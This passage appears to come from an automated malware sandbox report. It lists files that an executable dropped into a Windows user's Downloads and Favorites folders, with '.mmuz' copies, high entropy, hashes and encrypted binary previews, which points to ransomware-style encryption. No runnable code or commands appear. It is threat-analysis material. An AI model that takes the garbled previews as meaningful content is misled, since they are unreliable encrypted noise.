Preview:	PWCCA-`e..K.TLJEDIK.x.dxr.+.....K.'k.ep.....$.',..9...i...a{..\|..NQ...Eb..c4).?FE..).9c.T.F......{..x...o(...=>..m.j....3G(..]..d.k\|p..F.......@.N.....@&....e......z....&....'2....m...\(kIS.b...m...c......M....p...$.....G.....E..}...K.R..F...Z..0.g....D5.....M...!.4............T..Q.I.8.c...p-R..bY.Uh.'.X.[.@......{........>K.vOTa..?FWm...8....f.9G..q.Z PQ..\|...:....J...Q....-v..3..yhzX'Mf.w...'A(I7..W.....O...].QV...Na5.4....z..!..IO.S...g....w.....m^...y..j."$,8"..&Q..e5.....U.DR.....6...S..K...Q...9.....BD........!:.....PRd.!...;...b..SB..........CVm,....jv.!~.o...jU.Ksf..z'.Lk.......T}....v......-q.M.,(^.x5..."N.3.Iw.....U@......K..../z.1[o%Jp..Hsk....R...../..X...!.{.B........2. ;'f=y.t.X...Z-..a3..z........8d.9.R....C5#T..O.._.......F..g.5V.S*\....6_...R.@..Q."...j...r.j?.3s ..<.d`1/...c.}...V..F.O.B.....I..@....v..L..d..[./'.e...T......Dxn.i.=.I.%..C..?)...."B.i.........<.......`.u..5[:.-)...8.):.R.KZ.Z.a=X...%....,....@.$8 V

C:\Users\user\Downloads\PWCCAWLGRE.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829160974907409
Encrypted:	false
SSDEEP:	24:VwlUVFHs2jHV/4uhX14kByNlb6S2NXwh5ALz1UGlT28KIMT6a6rkbD:VwKVVDV/4uhX14kByNVR2ZHllVMT6mD
MD5:	76BEF6D4404D576C29F032FAE16EC105
SHA1:	62092B94FC2D5401B42B473310287C6D6A748A2F
SHA-256:	589994A8BB66E59723026C7AF72C18CECA11D1F300CEE78328F83C14332E00FE
SHA-512:	DB36412B0673AD63673D66EE3630EA8FC69393A8CF60713F108FF233F147352C4B1218CB53E28167D5DF6DFA2FDCA904A39449226789CE889D934C611490F82B
Malicious:	false
Preview:	PWCCA-`e..K.TLJEDIK.x.dxr.+.....K.'k.ep.....$.',..9...i...a{..\|..NQ...Eb..c4).?FE..).9c.T.F......{..x...o(...=>..m.j....3G(..]..d.k\|p..F.......@.N.....@&....e......z....&....'2....m...\(kIS.b...m...c......M....p...$.....G.....E..}...K.R..F...Z..0.g....D5.....M...!.4............T..Q.I.8.c...p-R..bY.Uh.'.X.[.@......{........>K.vOTa..?FWm...8....f.9G..q.Z PQ..\|...:....J...Q....-v..3..yhzX'Mf.w...'A(I7..W.....O...].QV...Na5.4....z..!..IO.S...g....w.....m^...y..j."$,8"..&Q..e5.....U.DR.....6...S..K...Q...9.....BD........!:.....PRd.!...;...b..SB..........CVm,....jv.!~.o...jU.Ksf..z'.Lk.......T}....v......-q.M.,(^.x5..."N.3.Iw.....U@......K..../z.1[o%Jp..Hsk....R...../..X...!.{.B........2. ;'f=y.t.X...Z-..a3..z........8d.9.R....C5#T..O.._.......F..g.5V.S*\....6_...R.@..Q."...j...r.j?.3s ..<.d`1/...c.}...V..F.O.B.....I..@....v..L..d..[./'.e...T......Dxn.i.=.I.%..C..?)...."B.i.........<.......`.u..5[:.-)...8.):.R.KZ.Z.a=X...%....,....@.$8 V

C:\Users\user\Downloads\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825844241552393
Encrypted:	false
SSDEEP:	24:MNkM8dEzATMWqbQJaBVOsmeIDYGWGvRvNye4AtyEy22E53tFHiqbfCkbD:MNX8dmATJqbQ0ks+DYGFDJtd3thiqbfD
MD5:	B3DE5B361DF72241C05BC36AAFE273DC
SHA1:	35C5F58FE57D5CF0F43471A1864D35B36A6E8C0F
SHA-256:	57343198374BBF6416A5E22F718C718263515120BCB32550C9A19348FF138F4E
SHA-512:	07556C497491AEDE12EBFFAE97E0DFFB2B49F36798AE988F24FFAA12DF05E91B2E6C313B17C67E19E89E1695A39BDCE74C57AC4FD3CAEFF015504FB5A5F5D729
Malicious:	false
Preview:	QCFWY.xj0+.._H.....z/..&..X...-..A`i.{...h......Y.Qm:.Q........7#5....z...zwZM..9..d..J..e....0..qn..m.........a.r...z..%.l!........Q...-\..t.F.9c..0..P.y....eR:k....... .1A. .23.T2^...x.q_.n.#..zh...4o....VB#F.).Op/>.K...>.."..Q.>.......$p....j"-.~..0.W%.c...`...p:..../B.X.Dg.e.[i...0k)..g..\...L..m.3......l.Q.Zx....yhG..e...'...*\....U..,g.......;I.....z....nG.....1i.k..rI..F. #..zY&ig3...?.5F~(..M&.z...]c.9..U`..Dl<1...V.."..E.39)<F..s...R.....2L.96..u.-....F..r...A}.%.X..O")...).j....3\.Z..a..Gv...H....%4..DQ....e.#..b.n.9....O........Yw.4.X-.q.u.....+X...lg>.q.u.R.....47MH.....;."1......."...:Y.WZ&@.t:,..J!F.iLtJ..J9#.{wdl..`..D...Z..'.F]t9.....p.&:.....x...x.q.lab............?#_..60.:.ea..b."...M.s.M...XTR.P!......a...+f......D....\|.!Cd...E./..1.f=.s.W.....z.Rx...pr !>.mE.#.b.,L..,N..R.&h...U...${>......\...x....)."..._967..........PU./cM)B...$y.0....VM....y.5]\|._\|.AU.I.R..5Y.}...m}.xE.m..9l).pW...B..n..9].Z..3.x..v..`

C:\Users\user\Downloads\QCFWYSKMHA.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825844241552393
Encrypted:	false
SSDEEP:	24:MNkM8dEzATMWqbQJaBVOsmeIDYGWGvRvNye4AtyEy22E53tFHiqbfCkbD:MNX8dmATJqbQ0ks+DYGFDJtd3thiqbfD
MD5:	B3DE5B361DF72241C05BC36AAFE273DC
SHA1:	35C5F58FE57D5CF0F43471A1864D35B36A6E8C0F
SHA-256:	57343198374BBF6416A5E22F718C718263515120BCB32550C9A19348FF138F4E
SHA-512:	07556C497491AEDE12EBFFAE97E0DFFB2B49F36798AE988F24FFAA12DF05E91B2E6C313B17C67E19E89E1695A39BDCE74C57AC4FD3CAEFF015504FB5A5F5D729
Malicious:	false
Preview:	QCFWY.xj0+.._H.....z/..&..X...-..A`i.{...h......Y.Qm:.Q........7#5....z...zwZM..9..d..J..e....0..qn..m.........a.r...z..%.l!........Q...-\..t.F.9c..0..P.y....eR:k....... .1A. .23.T2^...x.q_.n.#..zh...4o....VB#F.).Op/>.K...>.."..Q.>.......$p....j"-.~..0.W%.c...`...p:..../B.X.Dg.e.[i...0k)..g..\...L..m.3......l.Q.Zx....yhG..e...'...*\....U..,g.......;I.....z....nG.....1i.k..rI..F. #..zY&ig3...?.5F~(..M&.z...]c.9..U`..Dl<1...V.."..E.39)<F..s...R.....2L.96..u.-....F..r...A}.%.X..O")...).j....3\.Z..a..Gv...H....%4..DQ....e.#..b.n.9....O........Yw.4.X-.q.u.....+X...lg>.q.u.R.....47MH.....;."1......."...:Y.WZ&@.t:,..J!F.iLtJ..J9#.{wdl..`..D...Z..'.F]t9.....p.&:.....x...x.q.lab............?#_..60.:.ea..b."...M.s.M...XTR.P!......a...+f......D....\|.!Cd...E./..1.f=.s.W.....z.Rx...pr !>.mE.#.b.,L..,N..R.&h...U...${>......\...x....)."..._967..........PU./cM)B...$y.0....VM....y.5]\|._\|.AU.I.R..5Y.}...m}.xE.m..9l).pW...B..n..9].Z..3.x..v..`

C:\Users\user\Downloads\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856603925336959
Encrypted:	false
SSDEEP:	24:axJX/k27dDDxaKtICtBIkM/6+pVUD+NpfTCRRd2T7uwWeGwBCNiqrjOh30zkbD:abPPhDR1IkM/6OV3Npfy47uvYqiQOhEK
MD5:	92F304AACCED8F7D69B4179A5C202C68
SHA1:	183105295EAE298B45942DBE36875715481096E5
SHA-256:	F2F1E2CDD5B3F6DDD7364BE46E0648188283A192C6DF49878ECCA41C5C690328
SHA-512:	97765B5E46B8227F052E51DD00C4D0063AE93704B0CD59FB8FAE07BB46A1D80974DB06DFC01E5F63AC0E5D011899F9C45F419FF41C3A0A68DFC2A7B1661A68F8
Malicious:	false
Preview:	SFPUSR..:.b.I.UVmlW.h..\..udy......5..&3....3F..^.,B.HSBAwC....m...U.K.B-,...TN b1...p...&..`.....!J....G#!..2LP].].\|..M..LV.P....3..0z.UA.1iY.;\r.G^5.e..nD.\|.............1q..`.......f.....tw6i.42@$...'.G...f}s.....(.......ZU....O......]..M /...e.\|.Npc..$...u~.K.../..w..K.h.n...b..:#.......f.mY..r..8.E..D........Y^15.t.XR.!H.!...#.@4..U.{.=..(.2....^.X2.z.......p.9KY......J.W.....`.).......z.D.Al.t.......o.i..B.Z....7......G..J...`...B..Sow._....;..ZQU..6...-v/...;.(...cL..".%ab=...z~6)..ck.+..o..k..n....."2...HSB~...s......zK...G..;..{.m.IzGW.m....\|.D .{T..<.5.._D....._\Um1^.."..].~..6.l...Q..f.T.!.@....*.........!LND..5........>MB..f..A.R.....8..............v...@%.#3.B.&3X...u...3$.X.g....$Du..,..fsY.+.C.......,.....N...HT.j.L#Y....L+K.0./.+\|..l.xR...........B..S"_......w.../,q.........C....).5.z.(.....T..`..._...v.C...xU.V#}.m....._.T...&.=...\|..n$.\..........z.Q68.6r.U..{......@...Qe...j<..o...+....d........s.m]O.p. x3&K.tm.=..m5a0.

C:\Users\user\Downloads\SFPUSAFIOL.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856603925336959
Encrypted:	false
SSDEEP:	24:axJX/k27dDDxaKtICtBIkM/6+pVUD+NpfTCRRd2T7uwWeGwBCNiqrjOh30zkbD:abPPhDR1IkM/6OV3Npfy47uvYqiQOhEK
MD5:	92F304AACCED8F7D69B4179A5C202C68
SHA1:	183105295EAE298B45942DBE36875715481096E5
SHA-256:	F2F1E2CDD5B3F6DDD7364BE46E0648188283A192C6DF49878ECCA41C5C690328
SHA-512:	97765B5E46B8227F052E51DD00C4D0063AE93704B0CD59FB8FAE07BB46A1D80974DB06DFC01E5F63AC0E5D011899F9C45F419FF41C3A0A68DFC2A7B1661A68F8
Malicious:	false
Preview:	SFPUSR..:.b.I.UVmlW.h..\..udy......5..&3....3F..^.,B.HSBAwC....m...U.K.B-,...TN b1...p...&..`.....!J....G#!..2LP].].\|..M..LV.P....3..0z.UA.1iY.;\r.G^5.e..nD.\|.............1q..`.......f.....tw6i.42@$...'.G...f}s.....(.......ZU....O......]..M /...e.\|.Npc..$...u~.K.../..w..K.h.n...b..:#.......f.mY..r..8.E..D........Y^15.t.XR.!H.!...#.@4..U.{.=..(.2....^.X2.z.......p.9KY......J.W.....`.).......z.D.Al.t.......o.i..B.Z....7......G..J...`...B..Sow._....;..ZQU..6...-v/...;.(...cL..".%ab=...z~6)..ck.+..o..k..n....."2...HSB~...s......zK...G..;..{.m.IzGW.m....\|.D .{T..<.5.._D....._\Um1^.."..].~..6.l...Q..f.T.!.@....*.........!LND..5........>MB..f..A.R.....8..............v...@%.#3.B.&3X...u...3$.X.g....$Du..,..fsY.+.C.......,.....N...HT.j.L#Y....L+K.0./.+\|..l.xR...........B..S"_......w.../,q.........C....).5.z.(.....T..`..._...v.C...xU.V#}.m....._.T...&.=...\|..n$.\..........z.Q68.6r.U..{......@...Qe...j<..o...+....d........s.m]O.p. x3&K.tm.=..m5a0.

C:\Users\user\Downloads\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841611731150901
Encrypted:	false
SSDEEP:	24:3hgB5demt3DlD9NrvNM4A7o1vnjhqA86ewhSAWQXfzkbD:R4ZX9NrvNM4A7o1vjwkSADfCD
MD5:	7108E5F2CE2888946E2A2EC394BB9E19
SHA1:	16683C5363C6DA47628F61D07C4F337FD3A117A7
SHA-256:	B0EDB8466A86C72E33CC6B43A6CFCDA820E082724FF871E1D36C672B7E5A3D43
SHA-512:	A90795FF7F17794EBB516331CC5D5E9466C0DB7E423764297C570256943FD7BA29D628B0F3F449DA1763F23A5E9E1A179D11A6E3BCF6EC7829A2C7BF429B3608
Malicious:	false
Preview:	SUAVT.....Z..'.... F......Z..(q.L2,_5..w.x...=j.f_6..0...N.........x.[:$..,{h.....c.K.a.O...>.g....{...B..4A"M...n...^0....N.^.^s..9..4...;..l.6....b..g}M..7..}.-....w.Qu........U.F.7..d.....Bjh.j..x..RF.\|D..OgeTV.v.d.m...V&.\T>.?....',...._...N<kN.c.p.. 0..O.+PQ.5)...c...a..7.Q.^."0 y.Ro!+dp+.L...e..n`..\|...a..Nt.'n..Wb....y...D.I.K{).xNZq~.....I..d..t.]x]..'F...F...^A\BFa.~1Q....3.6./.#...B.K.F....L.dnK..@w..(.C4XY...-.f.,..y...s...Rh..a.d@.....#./9...7.HEU..}...(.Y..Sk..g....</..`.Oo.&7..L..e..)..~..<..5]g/(/y.wp7Z.]M.7.t...y....b.......=..`.Y...9..2l..x....\|..&O.D.H.kH.D...}....b.A3......).d*..b2..$!.6:(..R.D.........4...?j...=.$..)........@N@.>.....s..C.p..A.1....n../q\.3...%i...[Ln$.5.).I..#...we..v.m....(2[...\...+~.b..S.v.9....2.'.....n..W.......-.Cyj..by.t\|.........O3e...:(.....r..C..M~_\..L{.v...1..Z1...0.>.s@.XO-29}cL...<]...J...3..........89sY.......6..cm..F.....p..%....8..... W.+?.4.d...j....@....0)AK(...k..@...Z.S..%.5G.G..=.

C:\Users\user\Downloads\SUAVTZKNFL.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841611731150901
Encrypted:	false
SSDEEP:	24:3hgB5demt3DlD9NrvNM4A7o1vnjhqA86ewhSAWQXfzkbD:R4ZX9NrvNM4A7o1vjwkSADfCD
MD5:	7108E5F2CE2888946E2A2EC394BB9E19
SHA1:	16683C5363C6DA47628F61D07C4F337FD3A117A7
SHA-256:	B0EDB8466A86C72E33CC6B43A6CFCDA820E082724FF871E1D36C672B7E5A3D43
SHA-512:	A90795FF7F17794EBB516331CC5D5E9466C0DB7E423764297C570256943FD7BA29D628B0F3F449DA1763F23A5E9E1A179D11A6E3BCF6EC7829A2C7BF429B3608
Malicious:	false
Preview:	SUAVT.....Z..'.... F......Z..(q.L2,_5..w.x...=j.f_6..0...N.........x.[:$..,{h.....c.K.a.O...>.g....{...B..4A"M...n...^0....N.^.^s..9..4...;..l.6....b..g}M..7..}.-....w.Qu........U.F.7..d.....Bjh.j..x..RF.\|D..OgeTV.v.d.m...V&.\T>.?....',...._...N<kN.c.p.. 0..O.+PQ.5)...c...a..7.Q.^."0 y.Ro!+dp+.L...e..n`..\|...a..Nt.'n..Wb....y...D.I.K{).xNZq~.....I..d..t.]x]..'F...F...^A\BFa.~1Q....3.6./.#...B.K.F....L.dnK..@w..(.C4XY...-.f.,..y...s...Rh..a.d@.....#./9...7.HEU..}...(.Y..Sk..g....</..`.Oo.&7..L..e..)..~..<..5]g/(/y.wp7Z.]M.7.t...y....b.......=..`.Y...9..2l..x....\|..&O.D.H.kH.D...}....b.A3......).d*..b2..$!.6:(..R.D.........4...?j...=.$..)........@N@.>.....s..C.p..A.1....n../q\.3...%i...[Ln$.5.).I..#...we..v.m....(2[...\...+~.b..S.v.9....2.'.....n..W.......-.Cyj..by.t\|.........O3e...:(.....r..C..M~_\..L{.v...1..Z1...0.>.s@.XO-29}cL...<]...J...3..........89sY.......6..cm..F.....p..%....8..... W.+?.4.d...j....@....0)AK(...k..@...Z.S..%.5G.G..=.

C:\Users\user\Downloads\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866154276009639
Encrypted:	false
SSDEEP:	24:F/MdvoKN7tbjCi7CTDJkwdE8GcP1/AVkLBPWCHuBv9u8X4kbD:FGAEtbjxCTDJkwdpP1/Ek1PWzZ9T1D
MD5:	4A220CE7ADF0F9DB988420F783B556F2
SHA1:	B9CEAB24320308FEC992574FCAF038D40B075FC8
SHA-256:	07B7320244E175AD317DD35F778838AEDF9CD01E0C07F851F533CD8BEEC5B132
SHA-512:	A8E8C6905FD212D532A488477669D13CD09C30027CFF4287129C0EE59FFC11F0F30E517EF2CF1B0B0FC4473E5E6742CFD520660EC5E1B06D895657BC583905DD
Malicious:	false
Preview:	ZQIXMf.X......VG.....% .%g#.e....P+w....v@Q7....8.jp7+..v1.g.8..>...h$... ....zc(].........r.N7.........>.q..C....`~.O.r..b..j8....q..Lnhy..V......K..U.N/....&`...&..s....:....WX..T_..,.b..E].n.......hK.0O..O.?@r..+.?...!..[..)W..`.....!.............k...q. si...,.9.:6)....f8.....bn.7...RP..&.......i,..U....e]..-.....#F.S.,M\|.p../#.$..D.q.....^}4.7........E...YB.en.9.pGn(5..rEX.r...AB.0.)...na......U.P.^6.3.R...~...z .....x..?.&.]ut%..].G.....]y...,$jG^X7qk....&..8..W.]...9.hO+.........$....[o....5....hj.1.c.L...Sz..?.D.W........kn..J.......^..SAS.kt.hN.X,..He.).Gj...P8...2.....#N.?.W...S\..).n....Q..z6...-)..D.....[.?R}.j..I.HJ.....6k6v'......T.w.K...yTvE.....NB^x..x_......JV....Fm...Oe.C..Zrcr\.s.>........v.P*.y.^......&f.....q...R.B..:.....x.t.%B@s.Xw...B.0Y;!TH.l=a.....(c[j;.m.l...i.u...VO......C.w.3......p......T.l.P..-.S?.}!e.).&J).M.Q....H.U.U.\|..F.1J>(7..}D.d.X.....Y..Jw0.....w.....0....:...'g:LT.fC..6.:.d...Z.?../hc...."%.....2u

C:\Users\user\Downloads\ZQIXMVQGAH.png.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866154276009639
Encrypted:	false
SSDEEP:	24:F/MdvoKN7tbjCi7CTDJkwdE8GcP1/AVkLBPWCHuBv9u8X4kbD:FGAEtbjxCTDJkwdpP1/Ek1PWzZ9T1D
MD5:	4A220CE7ADF0F9DB988420F783B556F2
SHA1:	B9CEAB24320308FEC992574FCAF038D40B075FC8
SHA-256:	07B7320244E175AD317DD35F778838AEDF9CD01E0C07F851F533CD8BEEC5B132
SHA-512:	A8E8C6905FD212D532A488477669D13CD09C30027CFF4287129C0EE59FFC11F0F30E517EF2CF1B0B0FC4473E5E6742CFD520660EC5E1B06D895657BC583905DD
Malicious:	false
Preview:	ZQIXMf.X......VG.....% .%g#.e....P+w....v@Q7....8.jp7+..v1.g.8..>...h$... ....zc(].........r.N7.........>.q..C....`~.O.r..b..j8....q..Lnhy..V......K..U.N/....&`...&..s....:....WX..T_..,.b..E].n.......hK.0O..O.?@r..+.?...!..[..)W..`.....!.............k...q. si...,.9.:6)....f8.....bn.7...RP..&.......i,..U....e]..-.....#F.S.,M\|.p../#.$..D.q.....^}4.7........E...YB.en.9.pGn(5..rEX.r...AB.0.)...na......U.P.^6.3.R...~...z .....x..?.&.]ut%..].G.....]y...,$jG^X7qk....&..8..W.]...9.hO+.........$....[o....5....hj.1.c.L...Sz..?.D.W........kn..J.......^..SAS.kt.hN.X,..He.).Gj...P8...2.....#N.?.W...S\..).n....Q..z6...-)..D.....[.?R}.j..I.HJ.....6k6v'......T.w.K...yTvE.....NB^x..x_......JV....Fm...Oe.C..Zrcr\.s.>........v.P*.y.^......&f.....q...R.B..:.....x.t.%B@s.Xw...B.0Y;!TH.l=a.....(c[j;.m.l...i.u...VO......C.w.3......p......T.l.P..-.S?.}!e.).&J).M.Q....H.U.U.\|..F.1J>(7..}D.d.X.....Y..Jw0.....w.....0....:...'g:LT.fC..6.:.d...Z.?../hc...."%.....2u

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.469226541855294
Encrypted:	false
SSDEEP:	12:xIyopqejr6IBqPjia6AYvLMAvnyxt3kWQJPrgcii9a:x7ornVqPGa63/cUWQNkbD
MD5:	EA3A7BDEA413AD55BBB1AB41F14F980B
SHA1:	9882D35552BF52E793285B7D4FB7A51425FE6066
SHA-256:	E3540CD0AFD554D95082C5B637846F3DCF782B93DBAAAFE398DFBC8EFD42F0BE
SHA-512:	2C218A09A28E48CDD1F9463DC92CD133C27B23B75792113582661213732A3D7B8D625B683792352929D15338EB3C28786BA8B9AE015682C88A8F61C1717B0296
Malicious:	false
Preview:	[{000o.8".\|...F..b....\|~g..F.9.....eZ.......?....).o.:..C.G.o-.M"^....<...TS......YI..I...V;.P..&.cA(A.6..t...l.....4.z1;.O]J.P.Y...7...]..2...L...Ty.j..'EG......./..-2.B..!\.....N..\|..#....9..]x..{..(..q...F._..@..QL%.0...7.r.5...M..:.M...s...P.hc.......u.......n..T..7j$&i7.6.6...m...`.Q..(.a"%d.2.{ .,Ewp..H.. .....TA..I.}.A\|%{SiZ?R.!T.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.469226541855294
Encrypted:	false
SSDEEP:	12:xIyopqejr6IBqPjia6AYvLMAvnyxt3kWQJPrgcii9a:x7ornVqPGa63/cUWQNkbD
MD5:	EA3A7BDEA413AD55BBB1AB41F14F980B
SHA1:	9882D35552BF52E793285B7D4FB7A51425FE6066
SHA-256:	E3540CD0AFD554D95082C5B637846F3DCF782B93DBAAAFE398DFBC8EFD42F0BE
SHA-512:	2C218A09A28E48CDD1F9463DC92CD133C27B23B75792113582661213732A3D7B8D625B683792352929D15338EB3C28786BA8B9AE015682C88A8F61C1717B0296
Malicious:	false
Preview:	[{000o.8".\|...F..b....\|~g..F.9.....eZ.......?....).o.:..C.G.o-.M"^....<...TS......YI..I...V;.P..&.cA(A.6..t...l.....4.z1;.O]J.P.Y...7...]..2...L...Ty.j..'EG......./..-2.B..!\.....N..\|..#....9..]x..{..(..q...F._..@..QL%.0...7.r.5...M..:.M...s...P.hc.......u.......n..T..7j$&i7.6.6...m...`.Q..(.a"%d.2.{ .,Ewp..H.. .....TA..I.}.A\|%{SiZ?R.!T.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.594613233519095
Encrypted:	false
SSDEEP:	12:5+cFD4bcm8+U6fYz6N0xEi38rcYrQl1jPrgcii9a:53FD4bckwrxB3cQ3kbD
MD5:	FEA6E82ED40F558322B708463CE3A873
SHA1:	13AA6F4B761F2BC5FDDF695592A0B38430AFB0F4
SHA-256:	6FF447D8B9A6A9598381C801475787A3B37CBDB9CA331C9D12206AD4EB0F307B
SHA-512:	0B1837C110912CE2F5DD114C912230E963916BCB573E08D0AF62DC433696D4F3A83FC35031668D54AFE4AB0FE8A8DE36105B8C709A912B31208D929C6ED9A2CE
Malicious:	false
Preview:	[{000....tsp..X..gB.\s.q..cl.3.b..z..Fwp....W....A44....d8]OS5....&.T...e.T.........<U.#8k.9.....Q..f.....j1..F......`6'.^.z.8..lk<.g}.....ObIE...)....h.E....X....mn..6.n\|...U#t/X..X...0[...p..g=k.....A'..0..)....L(.......N}!.,......i...sH.H.d..@.!.#.#...i.... ..Z.J.].%.m9s..[.)....../D.....:%........@..k..;...lf...e....d}.o..w.q=4.......X......h._..HY..G.':.......y5.-..=.`.\|.:...d....s..........h.7.3...]!.,....k.v....\|J....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.594613233519095
Encrypted:	false
SSDEEP:	12:5+cFD4bcm8+U6fYz6N0xEi38rcYrQl1jPrgcii9a:53FD4bckwrxB3cQ3kbD
MD5:	FEA6E82ED40F558322B708463CE3A873
SHA1:	13AA6F4B761F2BC5FDDF695592A0B38430AFB0F4
SHA-256:	6FF447D8B9A6A9598381C801475787A3B37CBDB9CA331C9D12206AD4EB0F307B
SHA-512:	0B1837C110912CE2F5DD114C912230E963916BCB573E08D0AF62DC433696D4F3A83FC35031668D54AFE4AB0FE8A8DE36105B8C709A912B31208D929C6ED9A2CE
Malicious:	false
Preview:	[{000....tsp..X..gB.\s.q..cl.3.b..z..Fwp....W....A44....d8]OS5....&.T...e.T.........<U.#8k.9.....Q..f.....j1..F......`6'.^.z.8..lk<.g}.....ObIE...)....h.E....X....mn..6.n\|...U#t/X..X...0[...p..g=k.....A'..0..)....L(.......N}!.,......i...sH.H.d..@.!.#.#...i.... ..Z.J.].%.m9s..[.)....../D.....:%........@..k..;...lf...e....d}.o..w.q=4.......X......h._..HY..G.':.......y5.-..=.`.\|.:...d....s..........h.7.3...]!.,....k.v....\|J....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.508687270740398
Encrypted:	false
SSDEEP:	12:BJC37mw78jq1mxWGsgGpjt5oGh4Prgcii9a:BYtYjqxDt5oGgkbD
MD5:	59F18C02E530D200AE8021559AD6AAEA
SHA1:	0E63E0004F58998AAF3F447940024E0DC4702885
SHA-256:	D51CDC7A686226C3CCE99037EB424ACB1A94E5E5F03B4C0669B3FAF77A6F5F95
SHA-512:	1B3C5250B0FAD8712FF836148B2DD35281774D4AA2F1313E5E465C090873D4955DDC83C73304EA29EE6043EB5A92F7CF071A19981C61180285C8AE7A538DF15C
Malicious:	false
Preview:	[{000.S......)..T...#.@B..1...S]...yI.E....Q.:...^.&.(....iR.^.D..t.:....3.Z^.iq.@./...+.ysl.8np..Y..~..)..rlg.0....V..B.....J.z...,...(.....l..L}.u<&..........G...'....A[`l!$bA__.V.....ktmU.......:..Y={..y\P&...d..V.'...JI.....".w........\a6... E...j.=MO..ZJ.._..g.h....U...}.......%2...W.A..<.a......=....w.GD\.#..Rl..">.{......U.....4V.0\|l.?.0c...k/.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.508687270740398
Encrypted:	false
SSDEEP:	12:BJC37mw78jq1mxWGsgGpjt5oGh4Prgcii9a:BYtYjqxDt5oGgkbD
MD5:	59F18C02E530D200AE8021559AD6AAEA
SHA1:	0E63E0004F58998AAF3F447940024E0DC4702885
SHA-256:	D51CDC7A686226C3CCE99037EB424ACB1A94E5E5F03B4C0669B3FAF77A6F5F95
SHA-512:	1B3C5250B0FAD8712FF836148B2DD35281774D4AA2F1313E5E465C090873D4955DDC83C73304EA29EE6043EB5A92F7CF071A19981C61180285C8AE7A538DF15C
Malicious:	false
Preview:	[{000.S......)..T...#.@B..1...S]...yI.E....Q.:...^.&.(....iR.^.D..t.:....3.Z^.iq.@./...+.ysl.8np..Y..~..)..rlg.0....V..B.....J.z...,...(.....l..L}.u<&..........G...'....A[`l!$bA__.V.....ktmU.......:..Y={..y\P&...d..V.'...JI.....".w........\a6... E...j.=MO..ZJ.._..g.h....U...}.......%2...W.A..<.a......=....w.GD\.#..Rl..">.{......U.....4V.0\|l.?.0c...k/.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

